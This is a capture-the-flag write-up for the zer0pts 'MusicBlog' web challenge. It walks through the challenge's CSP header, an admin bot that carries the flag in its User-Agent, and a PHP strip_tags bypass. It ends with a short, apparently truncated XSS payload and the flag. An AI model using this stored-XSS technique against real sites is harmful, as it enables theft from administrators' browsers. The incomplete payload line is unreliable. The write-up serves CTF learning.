Tags: csp-bypass xss strip_tags 

Rating:

# ▼▼▼MusicBlog(Web, 653pts, 13/432=3.0%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

※Number of teams that answered one or more questions, excluding **Survey** and **Welcome**: 218

 ⇒13/218=5.0%

---

## 【Check source code】

### 1.init.php

```
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
```

Since there is a CSP header, there is a high possibility of **XSS questions**.

---

### 2.init.sql

```
INSERT INTO `user` (`username`, `password`, `is_admin`) VALUES (
'admin',
'<censored>',
1
);
```

I found that there is an **admin**.

---

### 3.worker.js

```
const flag = 'zer0pts{<censored>}';
await page.setUserAgent(flag);
```

Flag location is User-Agent header of admin browser.

In order to get the **flag**, if I give **admin access**.

---

```
await page.click('#like');
```

Admin will click tag if I set **id = "like"** in the tag.

---

### 4.utils.php

```
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}
```

Investigate **strip_tags()**

https://bugs.php.net/bug.php?id=78814

`` seems to pass.

---

## 【exploit】

`[["></audio>]]`

↓ Access comes from admin

`zer0pts{M4sh1m4fr3sh!!}`